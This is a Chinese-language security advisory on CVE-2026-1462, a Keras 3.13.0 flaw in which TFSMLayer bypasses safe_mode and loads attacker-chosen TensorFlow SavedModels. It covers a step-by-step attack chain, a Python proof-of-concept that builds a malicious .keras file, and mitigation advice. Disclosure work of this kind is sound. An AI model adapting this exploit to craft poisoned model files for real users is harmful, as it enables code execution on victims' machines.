IPBUF安全漏洞报告
English
CVE-2026-1462 CVSS 8.8 高危

CVE-2026-1462 Keras安全模式绕过致RCE漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-1462
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
keras

相关标签

RCEKerasTensorFlow反序列化安全绕过

漏洞概述

该漏洞存在于 keras 包 3.13.0 版本的 `TFSMLayer` 类中。攻击者可利用此漏洞,在反序列化 `.keras` 模型时绕过 `safe_mode=True` 的安全限制,加载受控的 TensorFlow SavedModels。这导致 `safe_mode` 的安全保证失效,使攻击者能够在模型推理期间,以受害者的权限执行任意代码,存在严重的安全风险。

技术细节

漏洞源于 `TFSMLayer` 类在处理模型配置及反序列化过程中存在严重的逻辑缺陷。具体而言,当 `safe_mode` 参数被设置为 `True` 时,Keras 框架本应禁止加载不安全的自定义对象或组件,以防止恶意代码执行。然而,`TFSMLayer` 的 `from_config()` 方法在实现中未遵循此安全策略,它无条件地加载外部 SavedModels,且对序列化数据中的文件路径缺乏必要的验证和清理。攻击者可以精心构造一个恶意的 `.keras` 模型文件,并在其中嵌入指向攻击者控制的服务器上的恶意 TensorFlow SavedModel 的路径。当受害者使用 `tf.keras.models.load_model` 函数加载此恶意文件时,即便显式指定了 `safe_mode=True`,`TFSMLayer` 依然会解析配置并尝试加载攻击者指定的外部模型资源。由于 SavedModel 格式包含可执行的计算图或操作,这一加载过程直接触发了任意代码执行,从而完全绕过了安全模式的设计初衷,导致系统被攻陷。

攻击链分析

STEP 1
步骤1:准备恶意载荷
攻击者创建一个包含恶意代码的 TensorFlow SavedModel,该模型在被加载时会执行任意指令。
STEP 2
步骤2:构造恶意模型文件
攻击者构造一个 `.keras` 模型文件,其中包含 `TFSMLayer` 配置,并将 `filepath` 指向攻击者控制的恶意 SavedModel 路径。
STEP 3
步骤3:投递恶意文件
攻击者通过钓鱼邮件、恶意下载链接或供应链污染等方式,将恶意的 `.keras` 文件发送给目标受害者。
STEP 4
步骤4:受害者加载模型
受害者使用 `keras.models.load_model` 加载该文件,并信任 `safe_mode=True` 参数能提供安全保护。
STEP 5
步骤5:绕过安全检查
在反序列化过程中,`TFSMLayer` 的 `from_config` 方法无视 `safe_mode` 限制,解析配置并加载外部 SavedModel。
STEP 6
步骤6:执行任意代码
恶意 SavedModel 被加载并实例化,攻击者的代码在受害者的系统权限下执行,导致系统被控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import tensorflow as tf import keras import os import json import zipfile # 1. Create a malicious SavedModel that contains malicious code # In a real scenario, this model would execute arbitrary code malicious_model_path = "malicious_savedmodel" os.makedirs(malicious_model_path, exist_ok=True) # Create a simple model to represent the malicious payload class MaliciousModel(tf.Module): @tf.function(input_signature=[]) def __call__(self): # This represents arbitrary code execution tf.print("Malicious code executed via RCE!") return tf.constant(1.0) malicious_mod = MaliciousModel() tf.saved_model.save(malicious_mod, malicious_model_path) # 2. Construct a malicious .keras file containing TFSMLayer # The vulnerability allows loading the external SavedModel via config keras_config = { "class_name": "Sequential", "config": { "name": "malicious_model", "layers": [{ "class_name": "TFSMLayer", "config": { "filepath": os.path.abspath(malicious_model_path), # Pointing to malicious model "call_endpoint": "__call__" } }] } } # Save the config to a .keras file structure with zipfile.ZipFile("exploit_model.keras", "w") as z: z.writestr("config.json", json.dumps(keras_config)) z.writestr("metadata.json", json.dumps({"keras_version": "3.13.0", "backend": "tensorflow"})) # 3. Trigger the vulnerability # Even with safe_mode=True, the TFSMLayer loads the external model print("Loading malicious model with safe_mode=True...") try: # This bypasses safe_mode and executes code via TFSMLayer model = keras.models.load_model("exploit_model.keras", safe_mode=True) print("Model loaded successfully.") # Inference triggers the execution model.predict(None) except Exception as e: print(f"Error: {e}")

影响范围

keras 3.13.0

防御指南

临时缓解措施
建议立即将 keras 包升级到最新版本以修复此漏洞。在升级前,严禁加载来源不明或不可信的 `.keras` 模型文件。如果需要处理第三方模型,应在沙箱或隔离环境中进行,并严格检查模型配置中是否包含指向外部路径的 `TFSMLayer`。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表